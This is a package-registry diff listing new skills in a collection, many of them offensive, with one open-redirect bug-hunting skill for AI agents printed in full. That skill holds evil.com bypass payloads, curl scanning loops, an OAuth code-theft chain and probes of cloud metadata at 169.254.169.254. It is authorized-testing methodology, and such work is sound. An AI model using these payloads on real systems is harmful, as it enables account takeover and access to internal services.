opencode-skills-collection 4.0.67 → 4.0.69

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (329) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +281 -1
  2. package/bundled-skills/access-review/SKILL.md +394 -0
  3. package/bundled-skills/access-review/references/details.md +121 -0
  4. package/bundled-skills/agent-evals/SKILL.md +420 -0
  5. package/bundled-skills/agent-observability/SKILL.md +346 -0
  6. package/bundled-skills/agent-observability/references/details.md +786 -0
  7. package/bundled-skills/ai-agent-security/SKILL.md +393 -0
  8. package/bundled-skills/ai-agent-security/references/details.md +912 -0
  9. package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
  10. package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
  11. package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
  12. package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
  13. package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
  14. package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
  15. package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
  16. package/bundled-skills/alerting-oncall/SKILL.md +458 -0
  17. package/bundled-skills/alerting-oncall/references/details.md +84 -0
  18. package/bundled-skills/anti-slop-design/SKILL.md +393 -0
  19. package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +1 -0
  20. package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
  21. package/bundled-skills/argocd-gitops/SKILL.md +469 -0
  22. package/bundled-skills/arm-templates/SKILL.md +438 -0
  23. package/bundled-skills/arm-templates/references/details.md +64 -0
  24. package/bundled-skills/artifact-yylo/SKILL.md +122 -0
  25. package/bundled-skills/asset-inventory/SKILL.md +412 -0
  26. package/bundled-skills/asset-inventory/references/details.md +127 -0
  27. package/bundled-skills/audit-logging/SKILL.md +476 -0
  28. package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
  29. package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
  30. package/bundled-skills/aws-ec2/SKILL.md +426 -0
  31. package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
  32. package/bundled-skills/aws-iam/SKILL.md +463 -0
  33. package/bundled-skills/aws-lambda/SKILL.md +428 -0
  34. package/bundled-skills/aws-rds/SKILL.md +380 -0
  35. package/bundled-skills/aws-s3/SKILL.md +434 -0
  36. package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
  37. package/bundled-skills/aws-vpc/SKILL.md +436 -0
  38. package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
  39. package/bundled-skills/azure-aks/SKILL.md +423 -0
  40. package/bundled-skills/azure-devops/SKILL.md +457 -0
  41. package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
  42. package/bundled-skills/azure-keyvault/SKILL.md +455 -0
  43. package/bundled-skills/azure-keyvault/references/details.md +83 -0
  44. package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
  45. package/bundled-skills/azure-networking/SKILL.md +448 -0
  46. package/bundled-skills/azure-networking/references/details.md +135 -0
  47. package/bundled-skills/azure-sql/SKILL.md +413 -0
  48. package/bundled-skills/azure-sql/references/details.md +113 -0
  49. package/bundled-skills/azure-vms/SKILL.md +402 -0
  50. package/bundled-skills/azure-vms/references/details.md +134 -0
  51. package/bundled-skills/backup-recovery/SKILL.md +388 -0
  52. package/bundled-skills/bb-methodology/SKILL.md +451 -0
  53. package/bundled-skills/bb-methodology/references/details.md +120 -0
  54. package/bundled-skills/block-storage/SKILL.md +371 -0
  55. package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
  56. package/bundled-skills/blue-green-deploy/references/details.md +90 -0
  57. package/bundled-skills/bug-bounty/SKILL.md +447 -0
  58. package/bundled-skills/bug-bounty/references/details.md +1316 -0
  59. package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
  60. package/bundled-skills/business-continuity/SKILL.md +463 -0
  61. package/bundled-skills/career-ops/SKILL.md +186 -0
  62. package/bundled-skills/cdn-setup/SKILL.md +374 -0
  63. package/bundled-skills/change-management/SKILL.md +438 -0
  64. package/bundled-skills/change-management/references/details.md +105 -0
  65. package/bundled-skills/circleci/SKILL.md +475 -0
  66. package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
  67. package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
  68. package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
  69. package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
  70. package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
  71. package/bundled-skills/cloudformation/SKILL.md +461 -0
  72. package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
  73. package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
  74. package/bundled-skills/container-hardening/SKILL.md +126 -0
  75. package/bundled-skills/container-registries/SKILL.md +435 -0
  76. package/bundled-skills/container-scanning/SKILL.md +416 -0
  77. package/bundled-skills/convex-backend/SKILL.md +338 -0
  78. package/bundled-skills/dast-scanning/SKILL.md +437 -0
  79. package/bundled-skills/database-backups/SKILL.md +425 -0
  80. package/bundled-skills/datadog/SKILL.md +487 -0
  81. package/bundled-skills/dependency-scanning/SKILL.md +457 -0
  82. package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
  83. package/bundled-skills/disaster-recovery/SKILL.md +374 -0
  84. package/bundled-skills/disaster-recovery/references/details.md +219 -0
  85. package/bundled-skills/dns-management/SKILL.md +375 -0
  86. package/bundled-skills/docker-compose/SKILL.md +482 -0
  87. package/bundled-skills/docker-management/SKILL.md +426 -0
  88. package/bundled-skills/ebpf-observability/SKILL.md +436 -0
  89. package/bundled-skills/ebpf-observability/references/details.md +542 -0
  90. package/bundled-skills/elk-stack/SKILL.md +487 -0
  91. package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
  92. package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
  93. package/bundled-skills/feature-flags/SKILL.md +426 -0
  94. package/bundled-skills/feature-flags/references/details.md +86 -0
  95. package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
  96. package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
  97. package/bundled-skills/firewall-config/SKILL.md +479 -0
  98. package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
  99. package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
  100. package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
  101. package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
  102. package/bundled-skills/gcp-compute/SKILL.md +319 -0
  103. package/bundled-skills/gcp-gke/SKILL.md +307 -0
  104. package/bundled-skills/gcp-networking/SKILL.md +293 -0
  105. package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
  106. package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
  107. package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
  108. package/bundled-skills/gdpr-compliance/references/details.md +145 -0
  109. package/bundled-skills/geo-audit/SKILL.md +368 -0
  110. package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
  111. package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
  112. package/bundled-skills/geo-citability/SKILL.md +350 -0
  113. package/bundled-skills/geo-compare/SKILL.md +340 -0
  114. package/bundled-skills/geo-content/SKILL.md +383 -0
  115. package/bundled-skills/geo-crawlers/SKILL.md +408 -0
  116. package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
  117. package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
  118. package/bundled-skills/geo-proposal/SKILL.md +378 -0
  119. package/bundled-skills/geo-prospect/SKILL.md +225 -0
  120. package/bundled-skills/geo-report/SKILL.md +436 -0
  121. package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
  122. package/bundled-skills/geo-schema/SKILL.md +408 -0
  123. package/bundled-skills/geo-technical/SKILL.md +78 -0
  124. package/bundled-skills/geo-technical/references/details.md +543 -0
  125. package/bundled-skills/git-workflow/SKILL.md +460 -0
  126. package/bundled-skills/github-actions/SKILL.md +368 -0
  127. package/bundled-skills/gitlab-ci/SKILL.md +340 -0
  128. package/bundled-skills/google-no-code/SKILL.md +136 -0
  129. package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
  130. package/bundled-skills/gpu-server-management/SKILL.md +236 -0
  131. package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
  132. package/bundled-skills/helm-charts/SKILL.md +469 -0
  133. package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
  134. package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
  135. package/bundled-skills/hunt-ato/SKILL.md +184 -0
  136. package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
  137. package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
  138. package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
  139. package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
  140. package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
  141. package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
  142. package/bundled-skills/hunt-cicd/SKILL.md +311 -0
  143. package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
  144. package/bundled-skills/hunt-cors/SKILL.md +335 -0
  145. package/bundled-skills/hunt-dom/SKILL.md +323 -0
  146. package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
  147. package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
  148. package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
  149. package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
  150. package/bundled-skills/hunt-grpc/SKILL.md +317 -0
  151. package/bundled-skills/hunt-host-header/SKILL.md +309 -0
  152. package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
  153. package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
  154. package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
  155. package/bundled-skills/hunt-idor/SKILL.md +434 -0
  156. package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
  157. package/bundled-skills/hunt-k8s/SKILL.md +337 -0
  158. package/bundled-skills/hunt-laravel/SKILL.md +255 -0
  159. package/bundled-skills/hunt-ldap/SKILL.md +351 -0
  160. package/bundled-skills/hunt-lfi/SKILL.md +311 -0
  161. package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
  162. package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
  163. package/bundled-skills/hunt-misc/SKILL.md +378 -0
  164. package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
  165. package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
  166. package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
  167. package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
  168. package/bundled-skills/hunt-oauth/SKILL.md +459 -0
  169. package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
  170. package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
  171. package/bundled-skills/hunt-race-condition/references/details.md +159 -0
  172. package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
  173. package/bundled-skills/hunt-rce/SKILL.md +444 -0
  174. package/bundled-skills/hunt-rce/references/details.md +110 -0
  175. package/bundled-skills/hunt-saml/SKILL.md +156 -0
  176. package/bundled-skills/hunt-session/SKILL.md +342 -0
  177. package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
  178. package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
  179. package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
  180. package/bundled-skills/hunt-springboot/SKILL.md +285 -0
  181. package/bundled-skills/hunt-sqli/SKILL.md +466 -0
  182. package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
  183. package/bundled-skills/hunt-ssrf/references/details.md +179 -0
  184. package/bundled-skills/hunt-ssti/SKILL.md +163 -0
  185. package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
  186. package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
  187. package/bundled-skills/hunt-xxe/SKILL.md +466 -0
  188. package/bundled-skills/i-have-adhd/SKILL.md +170 -0
  189. package/bundled-skills/idea-evaluator/SKILL.md +75 -0
  190. package/bundled-skills/idea-evaluator/idea-evaluator-con/SKILL.md +64 -0
  191. package/bundled-skills/idea-evaluator/idea-evaluator-pro/SKILL.md +64 -0
  192. package/bundled-skills/identity-access-management/SKILL.md +382 -0
  193. package/bundled-skills/identity-access-management/references/details.md +524 -0
  194. package/bundled-skills/incident-management/SKILL.md +484 -0
  195. package/bundled-skills/incident-response/SKILL.md +448 -0
  196. package/bundled-skills/incident-response/references/details.md +113 -0
  197. package/bundled-skills/interview-me/SKILL.md +248 -0
  198. package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
  199. package/bundled-skills/jenkins/SKILL.md +462 -0
  200. package/bundled-skills/jev-use/SKILL.md +158 -0
  201. package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
  202. package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
  203. package/bundled-skills/kubernetes-ops/references/details.md +108 -0
  204. package/bundled-skills/kustomize/SKILL.md +478 -0
  205. package/bundled-skills/ledger-tasks-yylo/SKILL.md +219 -0
  206. package/bundled-skills/linux-administration/SKILL.md +367 -0
  207. package/bundled-skills/linux-hardening/SKILL.md +154 -0
  208. package/bundled-skills/llm-app-security/SKILL.md +389 -0
  209. package/bundled-skills/llm-app-security/references/details.md +674 -0
  210. package/bundled-skills/llm-caching/SKILL.md +334 -0
  211. package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
  212. package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
  213. package/bundled-skills/llm-gateway/SKILL.md +282 -0
  214. package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
  215. package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
  216. package/bundled-skills/load-balancing/SKILL.md +403 -0
  217. package/bundled-skills/loki-logging/SKILL.md +479 -0
  218. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  219. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  220. package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
  221. package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
  222. package/bundled-skills/mcp-server-security/SKILL.md +356 -0
  223. package/bundled-skills/mcp-server-security/references/details.md +745 -0
  224. package/bundled-skills/mdm-device-management/SKILL.md +404 -0
  225. package/bundled-skills/mdm-device-management/references/details.md +410 -0
  226. package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
  227. package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
  228. package/bundled-skills/model-registry-governance/SKILL.md +452 -0
  229. package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
  230. package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
  231. package/bundled-skills/mongodb/SKILL.md +436 -0
  232. package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
  233. package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
  234. package/bundled-skills/mysql/SKILL.md +390 -0
  235. package/bundled-skills/new-relic/SKILL.md +472 -0
  236. package/bundled-skills/nfs-storage/SKILL.md +356 -0
  237. package/bundled-skills/object-storage/SKILL.md +378 -0
  238. package/bundled-skills/offensive-osint/SKILL.md +443 -0
  239. package/bundled-skills/okta-attack/SKILL.md +436 -0
  240. package/bundled-skills/ollama-stack/SKILL.md +379 -0
  241. package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
  242. package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
  243. package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
  244. package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
  245. package/bundled-skills/openshift/SKILL.md +485 -0
  246. package/bundled-skills/opentelemetry/SKILL.md +438 -0
  247. package/bundled-skills/opentelemetry/references/details.md +78 -0
  248. package/bundled-skills/opentofu-migration/SKILL.md +349 -0
  249. package/bundled-skills/osint-methodology/SKILL.md +460 -0
  250. package/bundled-skills/osint-methodology/references/details.md +1350 -0
  251. package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
  252. package/bundled-skills/penetration-testing/SKILL.md +152 -0
  253. package/bundled-skills/performance-tuning/SKILL.md +381 -0
  254. package/bundled-skills/plan-ledger-tasks-yylo/SKILL.md +52 -0
  255. package/bundled-skills/planetscale/SKILL.md +297 -0
  256. package/bundled-skills/platform-engineering/SKILL.md +348 -0
  257. package/bundled-skills/platform-engineering/references/details.md +944 -0
  258. package/bundled-skills/podman/SKILL.md +405 -0
  259. package/bundled-skills/policy-as-code/SKILL.md +434 -0
  260. package/bundled-skills/policy-as-code/references/details.md +204 -0
  261. package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
  262. package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
  263. package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
  264. package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
  265. package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
  266. package/bundled-skills/rag-observability-evals/references/details.md +92 -0
  267. package/bundled-skills/ralph-loop-yylo/SKILL.md +55 -0
  268. package/bundled-skills/ralph-loop-yylo/references/first_check.md +18 -0
  269. package/bundled-skills/ralph-loop-yylo/references/implement.md +60 -0
  270. package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
  271. package/bundled-skills/redis/SKILL.md +421 -0
  272. package/bundled-skills/redteam-report-template/SKILL.md +370 -0
  273. package/bundled-skills/report-writing/SKILL.md +426 -0
  274. package/bundled-skills/report-writing/references/details.md +187 -0
  275. package/bundled-skills/resumable-implementation-contracts/SKILL.md +254 -0
  276. package/bundled-skills/reverse-proxy/SKILL.md +420 -0
  277. package/bundled-skills/runbook-creation/SKILL.md +438 -0
  278. package/bundled-skills/runbook-creation/references/details.md +71 -0
  279. package/bundled-skills/saas-security-posture/SKILL.md +415 -0
  280. package/bundled-skills/sast-scanning/SKILL.md +444 -0
  281. package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
  282. package/bundled-skills/security-arsenal/SKILL.md +446 -0
  283. package/bundled-skills/security-arsenal/references/details.md +540 -0
  284. package/bundled-skills/security-automation/SKILL.md +146 -0
  285. package/bundled-skills/semantic-versioning/SKILL.md +434 -0
  286. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  287. package/bundled-skills/service-mesh/SKILL.md +422 -0
  288. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  289. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  290. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  291. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  292. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  293. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  294. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  295. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  296. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  297. package/bundled-skills/systemd-services/SKILL.md +379 -0
  298. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  299. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  300. package/bundled-skills/terraform-azure/references/details.md +231 -0
  301. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  302. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  303. package/bundled-skills/understand-project-yylo/SKILL.md +62 -0
  304. package/bundled-skills/user-management/SKILL.md +383 -0
  305. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  306. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  307. package/bundled-skills/vendor-management/SKILL.md +439 -0
  308. package/bundled-skills/vendor-management/references/details.md +109 -0
  309. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  310. package/bundled-skills/vllm-server/SKILL.md +236 -0
  311. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  312. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  313. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  314. package/bundled-skills/waf-setup/SKILL.md +354 -0
  315. package/bundled-skills/waf-setup/references/details.md +211 -0
  316. package/bundled-skills/weather-model-data-fetching/SKILL.md +277 -0
  317. package/bundled-skills/weather-observation-fetching/SKILL.md +246 -0
  318. package/bundled-skills/web2-recon/SKILL.md +440 -0
  319. package/bundled-skills/web2-recon/references/details.md +319 -0
  320. package/bundled-skills/web3-audit/SKILL.md +445 -0
  321. package/bundled-skills/web3-audit/references/details.md +224 -0
  322. package/bundled-skills/wiki-yylo/SKILL.md +114 -0
  323. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  324. package/bundled-skills/windows-hardening/references/details.md +204 -0
  325. package/bundled-skills/windows-server/SKILL.md +318 -0
  326. package/bundled-skills/workflow-yylo/SKILL.md +107 -0
  327. package/bundled-skills/zero-trust/SKILL.md +461 -0
  328. package/package.json +1 -1
  329. package/skills_index.json +6924 -0
@@ -0,0 +1,223 @@
1
+ ---
2
+ name: hunt-open-redirect
3
+ description: Hunt Open Redirect
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: hackerone_public
16
+ report_count: 28
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-OPEN-REDIRECT — Open Redirect
33
+
34
+ ## Crown Jewel Targets
35
+
36
+ Open redirect alone is Low. Chained to OAuth = Critical (ATO).
37
+
38
+ **Highest-value chains:**
39
+ - **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
40
+ - **Open redirect → phishing** — users trust the URL because it starts with target.com
41
+ - **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF
42
+ - **Open redirect → session fixation** — force user to login endpoint with pre-set session
43
+
44
+ ---
45
+
46
+ ## Attack Surface Signals
47
+
48
+ ```
49
+ ?redirect=
50
+ ?next=
51
+ ?url=
52
+ ?return=
53
+ ?returnTo=
54
+ ?continue=
55
+ ?dest=
56
+ ?destination=
57
+ ?go=
58
+ ?forward=
59
+ ?location=
60
+ ?target=
61
+ ?redir=
62
+ ?redirect_uri=
63
+ ?callback=
64
+ ?checkout_url=
65
+ ?success_url=
66
+ ?cancel_url=
67
+ /logout?returnTo=
68
+ /login?next=
69
+ /sso?callback=
70
+ ```
71
+
72
+ ---
73
+
74
+ ## Bypass Table
75
+
76
+ | Technique | Payload |
77
+ |-----------|---------|
78
+ | Basic | `https://evil.com` |
79
+ | Protocol relative | `//evil.com` |
80
+ | Backslash bypass | `/\\evil.com` |
81
+ | At-sign confusion | `https://target.com@evil.com` |
82
+ | Double slash | `//evil.com/%2F..` |
83
+ | URL encoding | `%2Fevil.com` |
84
+ | Null byte | `evil.com%00target.com` |
85
+ | Whitespace | `evil.com%09` or `%20` |
86
+ | JavaScript URI | `javascript:window.location='https://evil.com'` |
87
+ | Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |
88
+ | Subdomain | `https://target.com.evil.com` |
89
+ | Fragment | `https://evil.com#.target.com` |
90
+
91
+ ---
92
+
93
+ ## Step-by-Step Hunting Methodology
94
+
95
+ ### Phase 1 — Discover Redirect Parameters
96
+ ```bash
97
+ # Extract all redirect candidates from crawl
98
+ cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
99
+ wc -l recon/$TARGET/redirect-candidates.txt
100
+
101
+ # Less common param names
102
+ grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
103
+ recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
104
+ ```
105
+
106
+ ### Phase 2 — Basic Test
107
+ ```bash
108
+ COLLAB="https://evil.com"
109
+ cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
110
+ LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
111
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
112
+ [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
113
+ done
114
+ ```
115
+
116
+ ### Phase 3 — Bypass Techniques
117
+ ```bash
118
+ BASE_URL="https://$TARGET/redirect?url="
119
+ PAYLOADS=(
120
+ "https://evil.com"
121
+ "//evil.com"
122
+ "/\\evil.com"
123
+ "https://$TARGET@evil.com"
124
+ "https://evil.com%23.$TARGET"
125
+ "https://evil.com%09"
126
+ )
127
+ for P in "${PAYLOADS[@]}"; do
128
+ LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
129
+ echo "$P → $LOC"
130
+ done
131
+ ```
132
+
133
+ ### Phase 3b — DOM-based open redirect (client-side sink)
134
+ Server-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`/`location.search`/`document.referrer`) assigned to a navigation sink.
135
+ ```bash
136
+ grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
137
+ | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
138
+ # Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
139
+ # Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
140
+ ```
141
+ (PortSwigger: DOM-based open redirection.)
142
+
143
+ ### Phase 4 — OAuth Chain Test
144
+ ```bash
145
+ # If target has OAuth, check if redirect_uri accepts open redirect
146
+ grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
147
+
148
+ # Construct OAuth URL with open redirect as redirect_uri
149
+ # Normal: redirect_uri=https://target.com/callback
150
+ # Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
151
+ OAUTH_URL="https://$TARGET/oauth/authorize"
152
+ curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
153
+ ```
154
+
155
+ ### Phase 5 — Server-Side Redirect (SSRF escalation)
156
+ ```bash
157
+ # If the app fetches the redirect target server-side (302 fetch follow)
158
+ curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
159
+
160
+ # Or: if app makes HTTP request to the redirect destination
161
+ curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
162
+ -H "Cookie: $SESSION"
163
+ ```
164
+
165
+ ---
166
+
167
+ ## Automation
168
+ ```bash
169
+ # openredirex
170
+ pip3 install openredirex
171
+ openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
172
+
173
+ # nuclei
174
+ nuclei -u https://$TARGET -t redirect/ -severity medium,high
175
+
176
+ # gf + qsreplace
177
+ cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
178
+ xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
179
+ ```
180
+
181
+ ---
182
+
183
+ ## Chain Table
184
+
185
+ | Open redirect finding | Chain to | Impact |
186
+ |----------------------|----------|--------|
187
+ | Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
188
+ | Any open redirect | Phishing URL with target domain | Social engineering |
189
+ | Server-side redirect | SSRF via followed redirect | Internal service access |
190
+ | Logout redirect | Session fixation | Force login with known session |
191
+
192
+ ---
193
+
194
+ ## Validation
195
+
196
+ ✅ Location header in response points to evil.com (your controlled domain)
197
+ ✅ Browser follows redirect to attacker-controlled page
198
+
199
+ **Severity:**
200
+ - Redirect alone: Low (most programs)
201
+ - Chains to OAuth code theft → ATO: High/Critical
202
+ - Chains to phishing with brand name: Low-Medium
203
+ - Server-side → SSRF: High
204
+
205
+ ## When to Use
206
+
207
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
208
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
209
+
210
+ ## Limitations
211
+
212
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
213
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
214
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
215
+
216
+ ### Example
217
+
218
+ ```bash
219
+ # Read-only first step; confirm scope before anything active.
220
+ cat scope.txt # target list from the authorized engagement brief
221
+ ```
222
+
223
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
